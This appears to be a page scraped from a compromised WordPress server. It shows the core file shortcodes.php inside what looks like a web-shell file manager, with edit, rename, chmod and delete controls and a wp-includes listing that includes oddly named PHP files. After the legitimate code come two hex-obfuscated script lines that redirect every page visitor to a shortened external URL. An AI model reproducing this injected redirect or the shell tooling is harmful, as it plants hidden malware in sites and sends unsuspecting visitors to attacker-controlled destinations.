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Path: ~/home/ampckwxt/public_html/sensassure.com/wp-includes/

File Content: `shortcodes.php`

<?php
/**
 * WordPress API for creating bbcode-like tags or what WordPress calls
 * "shortcodes". The tag and attribute parsing or regular expression code is
 * based on the Textpattern tag parser.
 *
 * A few examples are below:
 *
 * [shortcode /]
 * [shortcode foo="bar" baz="bing" /]
 * [shortcode foo="bar"]content[/shortcode]
 *
 * Shortcode tags support attributes and enclosed content, but does not entirely
 * support inline shortcodes in other shortcodes. You will have to call the
 * shortcode parser in your function to account for that.
 *
 * {@internal
 * Please be aware that the above note was made during the beta of WordPress 2.6
 * and in the future may not be accurate. Please update the note when it is no
 * longer the case.}}
 *
 * To apply shortcode tags to content:
 *
 *     $out = do_shortcode( $content );
 *
 * @link https://developer.wordpress.org/plugins/shortcodes/
 *
 * @package WordPress
 * @subpackage Shortcodes
 * @since 2.5.0
 */

/**
 * Container for storing shortcode tags and their hook to call for the shortcode.
 *
 * @since 2.5.0
 *
 * @name $shortcode_tags
 * @var array
 * @global array $shortcode_tags
 */
$shortcode_tags = array();

/**
 * Adds a new shortcode.
 *
 * Care should be taken through prefixing or other means to ensure that the
 * shortcode tag being added is unique and will not conflict with other,
 * already-added shortcode tags. In the event of a duplicated tag, the tag
 * loaded last will take precedence.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string   $tag      Shortcode tag to be searched in post content.
 * @param callable $callback The callback function to run when the shortcode is found.
 *                           Every shortcode callback is passed three parameters by default,
 *                           including an array of attributes (`$atts`), the shortcode content
 *                           or null if not set (`$content`), and finally the shortcode tag
 *                           itself (`$shortcode_tag`), in that order.
 */
function add_shortcode( $tag, $callback ) {
	global $shortcode_tags;

	if ( '' === trim( $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Invalid shortcode name: Empty name given.' ),
			'4.4.0'
		);
		return;
	}

	if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */
				__( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ),
				$tag,
				'& / < > [ ] ='
			),
			'4.4.0'
		);
		return;
	}

	$shortcode_tags[ $tag ] = $callback;
}

/**
 * Removes hook for shortcode.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $tag Shortcode tag to remove hook for.
 */
function remove_shortcode( $tag ) {
	global $shortcode_tags;

	unset( $shortcode_tags[ $tag ] );
}

/**
 * Clears all shortcodes.
 *
 * This function clears all of the shortcode tags by replacing the shortcodes global with
 * an empty array. This is actually an efficient method for removing all shortcodes.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 */
function remove_all_shortcodes() {
	global $shortcode_tags;

	$shortcode_tags = array();
}

/**
 * Determines whether a registered shortcode exists named $tag.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $tag Shortcode tag to check.
 * @return bool Whether the given shortcode exists.
 */
function shortcode_exists( $tag ) {
	global $shortcode_tags;
	return array_key_exists( $tag, $shortcode_tags );
}

/**
 * Determines whether the passed content contains the specified shortcode.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to search for shortcodes.
 * @param string $tag     Shortcode tag to check.
 * @return bool Whether the passed content contains the given shortcode.
 */
function has_shortcode( $content, $tag ) {
	if ( ! str_contains( $content, '[' ) ) {
		return false;
	}

	if ( shortcode_exists( $tag ) ) {
		preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
		if ( empty( $matches ) ) {
			return false;
		}

		foreach ( $matches as $shortcode ) {
			if ( $tag === $shortcode[2] ) {
				return true;
			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
				return true;
			}
		}
	}
	return false;
}

/**
 * Returns a list of registered shortcode names found in the given content.
 *
 * Example usage:
 *
 *     get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' );
 *     // array( 'audio', 'gallery' )
 *
 * @since 6.3.2
 *
 * @param string $content The content to check.
 * @return string[] An array of registered shortcode names found in the content.
 */
function get_shortcode_tags_in_content( $content ) {
	if ( false === strpos( $content, '[' ) ) {
		return array();
	}

	preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
	if ( empty( $matches ) ) {
		return array();
	}

	$tags = array();
	foreach ( $matches as $shortcode ) {
		$tags[] = $shortcode[2];

		if ( ! empty( $shortcode[5] ) ) {
			$deep_tags = get_shortcode_tags_in_content( $shortcode[5] );
			if ( ! empty( $deep_tags ) ) {
				$tags = array_merge( $tags, $deep_tags );
			}
		}
	}

	return $tags;
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * This function is an alias for do_shortcode().
 *
 * @since 5.4.0
 *
 * @see do_shortcode()
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function apply_shortcodes( $content, $ignore_html = false ) {
	return do_shortcode( $content, $ignore_html );
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * If there are no shortcode tags defined, then the content will be returned
 * without any filtering. This might cause issues when plugins are disabled but
 * the shortcode will still show up in the post or content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcode( $content, $ignore_html = false ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	// Ensure this context is only added once if shortcodes are nested.
	$has_filter   = has_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	$filter_added = false;

	if ( ! $has_filter ) {
		$filter_added = add_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	$content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	// Only remove the filter if it was added in this scope.
	if ( $filter_added ) {
		remove_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	return $content;
}

/**
 * Filter the `wp_get_attachment_image_context` hook during shortcode rendering.
 *
 * When wp_get_attachment_image() is called during shortcode rendering, we need to make clear
 * that the context is a shortcode and not part of the theme's template rendering logic.
 *
 * @since 6.3.0
 * @access private
 *
 * @return string The filtered context value for wp_get_attachment_images when doing shortcodes.
 */
function _filter_do_shortcode_context() {
	return 'do_shortcode';
}

/**
 * Retrieves the shortcode regular expression for searching.
 *
 * The regular expression combines the shortcode tags in the regular expression
 * in a regex class.
 *
 * The regular expression contains 6 different sub matches to help with parsing.
 *
 * 1 - An extra [ to allow for escaping shortcodes with double [[]]
 * 2 - The shortcode name
 * 3 - The shortcode argument list
 * 4 - The self closing /
 * 5 - The content of a shortcode when it wraps some content.
 * 6 - An extra ] to allow for escaping shortcodes with double [[]]
 *
 * @since 2.5.0
 * @since 4.4.0 Added the `$tagnames` parameter.
 *
 * @global array $shortcode_tags
 *
 * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes.
 * @return string The shortcode search regular expression
 */
function get_shortcode_regex( $tagnames = null ) {
	global $shortcode_tags;

	if ( empty( $tagnames ) ) {
		$tagnames = array_keys( $shortcode_tags );
	}
	$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );

	/*
	 * WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag().
	 * Also, see shortcode_unautop() and shortcode.js.
	 */

	// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
	return '\\['                             // Opening bracket.
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]].
		. "($tagregexp)"                     // 2: Shortcode name.
		. '(?![\\w-])'                       // Not followed by word character or hyphen.
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag.
		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash.
		.     '(?:'
		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket.
		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash.
		.     ')*?'
		. ')'
		. '(?:'
		.     '(\\/)'                        // 4: Self closing tag...
		.     '\\]'                          // ...and closing bracket.
		. '|'
		.     '\\]'                          // Closing bracket.
		.     '(?:'
		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags.
		.             '[^\\[]*+'             // Not an opening bracket.
		.             '(?:'
		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag.
		.                 '[^\\[]*+'         // Not an opening bracket.
		.             ')*+'
		.         ')'
		.         '\\[\\/\\2\\]'             // Closing shortcode tag.
		.     ')?'
		. ')'
		. '(\\]?)';                          // 6: Optional second closing bracket for escaping shortcodes: [[tag]].
	// phpcs:enable
}

/**
 * Regular Expression callable for do_shortcode() for calling shortcode hook.
 *
 * @see get_shortcode_regex() for details of the match array contents.
 *
 * @since 2.5.0
 * @access private
 *
 * @global array $shortcode_tags
 *
 * @param array $m {
 *     Regular expression match array.
 *
 *     @type string $0 Entire matched shortcode text.
 *     @type string $1 Optional second opening bracket for escaping shortcodes.
 *     @type string $2 Shortcode name.
 *     @type string $3 Shortcode arguments list.
 *     @type string $4 Optional self closing slash.
 *     @type string $5 Content of a shortcode when it wraps some content.
 *     @type string $6 Optional second closing bracket for escaping shortcodes.
 * }
 * @return string Shortcode output.
 */
function do_shortcode_tag( $m ) {
	global $shortcode_tags;

	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	$tag  = $m[2];
	$attr = shortcode_parse_atts( $m[3] );

	if ( ! is_callable( $shortcode_tags[ $tag ] ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: %s: Shortcode tag. */
			sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag ),
			'4.3.0'
		);
		return $m[0];
	}

	/**
	 * Filters whether to call a shortcode callback.
	 *
	 * Returning a non-false value from filter will short-circuit the
	 * shortcode generation process, returning that value instead.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 The `$attr` parameter is always an array.
	 *
	 * @param false|string $output Short-circuit return value. Either false or the value to replace the shortcode with.
	 * @param string       $tag    Shortcode name.
	 * @param array        $attr   Shortcode attributes array, can be empty if the original arguments string cannot be parsed.
	 * @param array        $m      Regular expression match array.
	 */
	$return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m );
	if ( false !== $return ) {
		return $return;
	}

	$content = isset( $m[5] ) ? $m[5] : null;

	$output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6];

	/**
	 * Filters the output created by a shortcode callback.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 The `$attr` parameter is always an array.
	 *
	 * @param string $output Shortcode output.
	 * @param string $tag    Shortcode name.
	 * @param array  $attr   Shortcode attributes array, can be empty if the original arguments string cannot be parsed.
	 * @param array  $m      Regular expression match array.
	 */
	return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m );
}

/**
 * Searches only inside HTML elements for shortcodes and process them.
 *
 * Any [ or ] characters remaining inside elements will be HTML encoded
 * to prevent interference with shortcodes that are outside the elements.
 * Assumes $content processed by KSES already.  Users with unfiltered_html
 * capability may get unexpected output if angle braces are nested in tags.
 *
 * @since 4.2.3
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, all square braces inside elements will be encoded.
 * @param array  $tagnames    List of shortcodes to find.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) {
	// Normalize entities in unfiltered HTML before adding placeholders.
	$trans   = array(
		'&#91;' => '&#091;',
		'&#93;' => '&#093;',
	);
	$content = strtr( $content, $trans );
	$trans   = array(
		'[' => '&#91;',
		']' => '&#93;',
	);

	$pattern = get_shortcode_regex( $tagnames );
	$textarr = wp_html_split( $content );

	foreach ( $textarr as &$element ) {
		if ( '' === $element || '<' !== $element[0] ) {
			continue;
		}

		$noopen  = ! str_contains( $element, '[' );
		$noclose = ! str_contains( $element, ']' );
		if ( $noopen || $noclose ) {
			// This element does not contain shortcodes.
			if ( $noopen xor $noclose ) {
				// Need to encode stray '[' or ']' chars.
				$element = strtr( $element, $trans );
			}
			continue;
		}

		if ( $ignore_html || str_starts_with( $element, '<!--' ) || str_starts_with( $element, '<![CDATA[' ) ) {
			// Encode all '[' and ']' chars.
			$element = strtr( $element, $trans );
			continue;
		}

		$attributes = wp_kses_attr_parse( $element );
		if ( false === $attributes ) {
			// Some plugins are doing things like [name] <[email]>.
			if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) {
				$element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element );
			}

			// Looks like we found some unexpected unfiltered HTML. Skipping it for confidence.
			$element = strtr( $element, $trans );
			continue;
		}

		// Get element name.
		$front   = array_shift( $attributes );
		$back    = array_pop( $attributes );
		$matches = array();
		preg_match( '%[a-zA-Z0-9]+%', $front, $matches );
		$elname = $matches[0];

		// Look for shortcodes in each attribute separately.
		foreach ( $attributes as &$attr ) {
			$open  = strpos( $attr, '[' );
			$close = strpos( $attr, ']' );
			if ( false === $open || false === $close ) {
				continue; // Go to next attribute. Square braces will be escaped at end of loop.
			}
			$double = strpos( $attr, '"' );
			$single = strpos( $attr, "'" );
			if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) {
				/*
				 * $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html.
				 * In this specific situation we assume KSES did not run because the input
				 * was written by an administrator, so we should avoid changing the output
				 * and we do not need to run KSES here.
				 */
				$attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr );
			} else {
				/*
				 * $attr like 'name = "[shortcode]"' or "name = '[shortcode]'".
				 * We do not know if $content was unfiltered. Assume KSES ran before shortcodes.
				 */
				$count    = 0;
				$new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count );
				if ( $count > 0 ) {
					// Sanitize the shortcode output using KSES.
					$new_attr = wp_kses_one_attr( $new_attr, $elname );
					if ( '' !== trim( $new_attr ) ) {
						// The shortcode is safe to use now.
						$attr = $new_attr;
					}
				}
			}
		}
		$element = $front . implode( '', $attributes ) . $back;

		// Now encode any remaining '[' or ']' chars.
		$element = strtr( $element, $trans );
	}

	$content = implode( '', $textarr );

	return $content;
}

/**
 * Removes placeholders added by do_shortcodes_in_html_tags().
 *
 * @since 4.2.3
 *
 * @param string $content Content to search for placeholders.
 * @return string Content with placeholders removed.
 */
function unescape_invalid_shortcodes( $content ) {
	// Clean up entire string, avoids re-parsing HTML.
	$trans = array(
		'&#91;' => '[',
		'&#93;' => ']',
	);

	$content = strtr( $content, $trans );

	return $content;
}

/**
 * Retrieves the shortcode attributes regex.
 *
 * @since 4.4.0
 *
 * @return string The shortcode attribute regular expression.
 */
function get_shortcode_atts_regex() {
	return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/';
}

/**
 * Retrieves all attributes from the shortcodes tag.
 *
 * The attributes list has the attribute name as the key and the value of the
 * attribute as the value in the key/value pair. This allows for easier
 * retrieval of the attributes, since all attributes have to be known.
 *
 * @since 2.5.0
 * @since 6.5.0 The function now always returns an array,
 *              even if the original arguments string cannot be parsed or is empty.
 *
 * @param string $text Shortcode arguments list.
 * @return array Array of attribute values keyed by attribute name.
 *               Returns empty array if there are no attributes
 *               or if the original arguments string cannot be parsed.
 */
function shortcode_parse_atts( $text ) {
	$atts    = array();
	$pattern = get_shortcode_atts_regex();
	$text    = preg_replace( "/[\x{00a0}\x{200b}]+/u", ' ', $text );
	if ( preg_match_all( $pattern, $text, $match, PREG_SET_ORDER ) ) {
		foreach ( $match as $m ) {
			if ( ! empty( $m[1] ) ) {
				$atts[ strtolower( $m[1] ) ] = stripcslashes( $m[2] );
			} elseif ( ! empty( $m[3] ) ) {
				$atts[ strtolower( $m[3] ) ] = stripcslashes( $m[4] );
			} elseif ( ! empty( $m[5] ) ) {
				$atts[ strtolower( $m[5] ) ] = stripcslashes( $m[6] );
			} elseif ( isset( $m[7] ) && strlen( $m[7] ) ) {
				$atts[] = stripcslashes( $m[7] );
			} elseif ( isset( $m[8] ) && strlen( $m[8] ) ) {
				$atts[] = stripcslashes( $m[8] );
			} elseif ( isset( $m[9] ) ) {
				$atts[] = stripcslashes( $m[9] );
			}
		}

		// Reject any unclosed HTML elements.
		foreach ( $atts as &$value ) {
			if ( str_contains( $value, '<' ) ) {
				if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) {
					$value = '';
				}
			}
		}
	}

	return $atts;
}

/**
 * Combines user attributes with known attributes and fill in defaults when needed.
 *
 * The pairs should be considered to be all of the attributes which are
 * supported by the caller and given as a list. The returned attributes will
 * only contain the attributes in the $pairs list.
 *
 * If the $atts list has unsupported attributes, then they will be ignored and
 * removed from the final returned list.
 *
 * @since 2.5.0
 *
 * @param array  $pairs     Entire list of supported attributes and their defaults.
 * @param array  $atts      User defined attributes in shortcode tag.
 * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering
 * @return array Combined and filtered attribute list.
 */
function shortcode_atts( $pairs, $atts, $shortcode = '' ) {
	$atts = (array) $atts;
	$out  = array();
	foreach ( $pairs as $name => $default ) {
		if ( array_key_exists( $name, $atts ) ) {
			$out[ $name ] = $atts[ $name ];
		} else {
			$out[ $name ] = $default;
		}
	}

	if ( $shortcode ) {
		/**
		 * Filters shortcode attributes.
		 *
		 * If the third parameter of the shortcode_atts() function is present then this filter is available.
		 * The third parameter, $shortcode, is the name of the shortcode.
		 *
		 * @since 3.6.0
		 * @since 4.4.0 Added the `$shortcode` parameter.
		 *
		 * @param array  $out       The output array of shortcode attributes.
		 * @param array  $pairs     The supported attributes and their defaults.
		 * @param array  $atts      The user defined shortcode attributes.
		 * @param string $shortcode The shortcode name.
		 */
		$out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode );
	}

	return $out;
}

/**
 * Removes all shortcode tags from the given content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to remove shortcode tags.
 * @return string Content without shortcode tags.
 */
function strip_shortcodes( $content ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );

	$tags_to_remove = array_keys( $shortcode_tags );

	/**
	 * Filters the list of shortcode tags to remove from the content.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $tags_to_remove Array of shortcode tags to remove.
	 * @param string $content        Content shortcodes are being removed from.
	 */
	$tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content );

	$tagnames = array_intersect( $tags_to_remove, $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	$content = do_shortcodes_in_html_tags( $content, true, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	return $content;
}

/**
 * Strips a shortcode tag based on RegEx matches against post content.
 *
 * @since 3.3.0
 *
 * @param array $m RegEx matches against post content.
 * @return string|false The content stripped of the tag, otherwise false.
 */
function strip_shortcode_tag( $m ) {
	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	return $m[1] . $m[6];
}
ob_start();
?>
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<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
ID3	---	0755
IXR	---	0755
PHPMailer	---	0755
Requests	---	0755
SimplePie	---	0755
Text	---	0755
assets	---	0755
block-bindings	---	0755
block-patterns	---	0755
block-supports	---	0755
blocks	---	0755
certificates	---	0755
css	---	0755
customize	---	0755
fonts	---	0755
html-api	---	0755
images	---	0755
interactivity-api	---	0755
js	---	0755
l10n	---	0755
php-compat	---	0755
pomo	---	0755
rest-api	---	0755
sitemaps	---	0755
sodium_compat	---	0755
style-engine	---	0755
theme-compat	---	0755
widgets	---	0755
.htaccess	0 bytes	0644
7GJdRVlH4Fm.php	52991 bytes	0644
ONGHw4ne8hR.php	52991 bytes	0644
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admin-bar.php	37792 bytes	0644
admin.php	5362 bytes	0644
atomlib.php	12764 bytes	0644
author-template.php	19637 bytes	0644
block-bindings.php	6280 bytes	0644
block-editor.php	29483 bytes	0644
block-i18n.json	316 bytes	0644
block-patterns.php	13899 bytes	0644
block-template-utils.php	62593 bytes	0644
block-template.php	16042 bytes	0644
blocks.php	113737 bytes	0644
bookmark-template.php	13454 bytes	0644
bookmark.php	16113 bytes	0644
cache-compat.php	6655 bytes	0644
cache.php	14160 bytes	0644
canonical.php	35209 bytes	0644
capabilities.php	43404 bytes	0644
category-template.php	57689 bytes	0644
category.php	13515 bytes	0644
class-IXR.php	3303 bytes	0644
class-avif-info.php	30301 bytes	0644
class-feed.php	539 bytes	0644
class-http.php	367 bytes	0644
class-json.php	43684 bytes	0644
class-oembed.php	401 bytes	0644
class-phpass.php	7457 bytes	0644
class-phpmailer.php	664 bytes	0644
class-pop3.php	21807 bytes	0644
class-requests.php	2923 bytes	0644
class-simplepie.php	1139 bytes	0644
class-smtp.php	457 bytes	0644
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class-walker-category-dropdown.php	3155 bytes	0644
class-walker-category.php	9163 bytes	0644
class-walker-comment.php	14907 bytes	0644
class-walker-nav-menu.php	12730 bytes	0644
class-walker-page-dropdown.php	3396 bytes	0644
class-walker-page.php	8298 bytes	0644
class-wp-admin-bar.php	18560 bytes	0644
class-wp-ajax-response.php	5952 bytes	0644
class-wp-application-passwords.php	17785 bytes	0644
class-wp-block-bindings-registry.php	9149 bytes	0644
class-wp-block-bindings-source.php	3678 bytes	0644
class-wp-block-editor-context.php	2036 bytes	0644
class-wp-block-list.php	5443 bytes	0644
class-wp-block-metadata-registry.php	12581 bytes	0644
class-wp-block-parser-block.php	3241 bytes	0644
class-wp-block-parser-frame.php	2703 bytes	0644
class-wp-block-parser.php	12218 bytes	0644
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class-wp-block-patterns-registry.php	11469 bytes	0644
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class-wp-block-supports.php	6312 bytes	0644
class-wp-block-template.php	2719 bytes	0644
class-wp-block-templates-registry.php	7917 bytes	0644
class-wp-block-type-registry.php	5699 bytes	0644
class-wp-block-type.php	17951 bytes	0644
class-wp-block.php	23727 bytes	0644
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class-wp-comment-query.php	49081 bytes	0644
class-wp-comment.php	10123 bytes	0644
class-wp-customize-control.php	26537 bytes	0644
class-wp-customize-manager.php	203279 bytes	0644
class-wp-customize-nav-menus.php	58346 bytes	0644
class-wp-customize-panel.php	11396 bytes	0644
class-wp-customize-section.php	11895 bytes	0644
class-wp-customize-setting.php	30648 bytes	0644
class-wp-customize-widgets.php	72896 bytes	0644
class-wp-date-query.php	36418 bytes	0644
class-wp-dependencies.php	15825 bytes	0644
class-wp-dependency.php	3313 bytes	0644
class-wp-duotone.php	41469 bytes	0644
class-wp-editor.php	73021 bytes	0644
class-wp-embed.php	16617 bytes	0644
class-wp-error.php	8188 bytes	0644
class-wp-exception.php	939 bytes	0644
class-wp-fatal-error-handler.php	8836 bytes	0644
class-wp-feed-cache-transient.php	3862 bytes	0644
class-wp-feed-cache.php	969 bytes	0644
class-wp-hook.php	16686 bytes	0644
class-wp-http-cookie.php	8075 bytes	0644
class-wp-http-curl.php	13227 bytes	0644
class-wp-http-encoding.php	7375 bytes	0644
class-wp-http-ixr-client.php	4187 bytes	0644
class-wp-http-proxy.php	6666 bytes	0644
class-wp-http-requests-hooks.php	2708 bytes	0644
class-wp-http-requests-response.php	5086 bytes	0644
class-wp-http-response.php	3663 bytes	0644
class-wp-http-streams.php	16859 bytes	0644
class-wp-http.php	42265 bytes	0644
class-wp-image-editor-gd.php	20848 bytes	0644
class-wp-image-editor-imagick.php	35421 bytes	0644
class-wp-image-editor.php	18213 bytes	0644
class-wp-list-util.php	8129 bytes	0644
class-wp-locale-switcher.php	7462 bytes	0644
class-wp-locale.php	17569 bytes	0644
class-wp-matchesmapregex.php	2514 bytes	0644
class-wp-meta-query.php	31217 bytes	0644
class-wp-metadata-lazyloader.php	7519 bytes	0644
class-wp-navigation-fallback.php	9897 bytes	0644
class-wp-network-query.php	20543 bytes	0644
class-wp-network.php	12982 bytes	0644
class-wp-object-cache.php	18210 bytes	0644
class-wp-oembed-controller.php	7591 bytes	0644
class-wp-oembed.php	32292 bytes	0644
class-wp-paused-extensions-storage.php	5797 bytes	0644
class-wp-phpmailer.php	4488 bytes	0644
class-wp-plugin-dependencies.php	26001 bytes	0644
class-wp-post-type.php	31366 bytes	0644
class-wp-post.php	7174 bytes	0644
class-wp-query.php	158709 bytes	0644
class-wp-recovery-mode-cookie-service.php	7563 bytes	0644
class-wp-recovery-mode-email-service.php	11869 bytes	0644
class-wp-recovery-mode-key-service.php	5570 bytes	0644
class-wp-recovery-mode-link-service.php	4149 bytes	0644
class-wp-recovery-mode.php	12139 bytes	0644
class-wp-rewrite.php	64374 bytes	0644
class-wp-role.php	3209 bytes	0644
class-wp-roles.php	9272 bytes	0644
class-wp-script-modules.php	20149 bytes	0644
class-wp-scripts.php	29030 bytes	0644
class-wp-session-tokens.php	8005 bytes	0644
class-wp-simplepie-file.php	4094 bytes	0644
class-wp-simplepie-sanitize-kses.php	2596 bytes	0644
class-wp-site-query.php	32311 bytes	0644
class-wp-site.php	8140 bytes	0644
class-wp-speculation-rules.php	8213 bytes	0644
class-wp-styles.php	11696 bytes	0644
class-wp-tax-query.php	20241 bytes	0644
class-wp-taxonomy.php	19245 bytes	0644
class-wp-term-query.php	41555 bytes	0644
class-wp-term.php	5984 bytes	0644
class-wp-text-diff-renderer-inline.php	1665 bytes	0644
class-wp-text-diff-renderer-table.php	19566 bytes	0644
class-wp-textdomain-registry.php	11167 bytes	0644
class-wp-theme-json-data.php	2495 bytes	0644
class-wp-theme-json-resolver.php	36424 bytes	0644
class-wp-theme-json-schema.php	8053 bytes	0644
class-wp-theme-json.php	164231 bytes	0644
class-wp-theme.php	66496 bytes	0644
class-wp-token-map.php	29304 bytes	0644
class-wp-url-pattern-prefixer.php	5488 bytes	0644
class-wp-user-meta-session-tokens.php	3676 bytes	0644
class-wp-user-query.php	44341 bytes	0644
class-wp-user-request.php	2991 bytes	0644
class-wp-user.php	23680 bytes	0644
class-wp-walker.php	14008 bytes	0644
class-wp-widget-factory.php	4033 bytes	0644
class-wp-widget.php	19115 bytes	0644
class-wp-xmlrpc-server.php	216130 bytes	0644
class-wp.php	27191 bytes	0644
class-wpdb.php	118284 bytes	0644
class.wp-dependencies.php	373 bytes	0644
class.wp-scripts.php	343 bytes	0644
class.wp-styles.php	338 bytes	0644
comment-template.php	103790 bytes	0644
comment.php	132233 bytes	0644
compat.php	17062 bytes	0644
cron.php	43344 bytes	0644
date.php	400 bytes	0644
default-constants.php	12051 bytes	0644
default-filters.php	37383 bytes	0644
default-widgets.php	2981 bytes	0644
deprecated.php	192250 bytes	0644
embed-template.php	338 bytes	0644
embed.php	38858 bytes	0644
error-protection.php	4807 bytes	0644
error_log	4962 bytes	0644
feed-atom-comments.php	6175 bytes	0644
feed-atom.php	3792 bytes	0644
feed-rdf.php	3339 bytes	0644
feed-rss.php	1860 bytes	0644
feed-rss2-comments.php	4807 bytes	0644
feed-rss2.php	4470 bytes	0644
feed.php	24097 bytes	0644
fonts.php	10437 bytes	0644
formatting.php	343607 bytes	0644
functions.php	288232 bytes	0644
functions.wp-scripts.php	15244 bytes	0644
functions.wp-styles.php	9269 bytes	0644
general-template.php	173184 bytes	0644
global-styles-and-settings.php	21947 bytes	0644
http.php	25998 bytes	0644
https-detection.php	6543 bytes	0644
https-migration.php	5427 bytes	0644
index.htm	1092 bytes	0644
index.html	1092 bytes	0644
index.php	1092 bytes	0644
kses.php	75158 bytes	0644
l10n.php	69216 bytes	0644
link-template.php	157801 bytes	0644
load.php	56440 bytes	0644
locale.php	162 bytes	0644
media-template.php	63746 bytes	0644
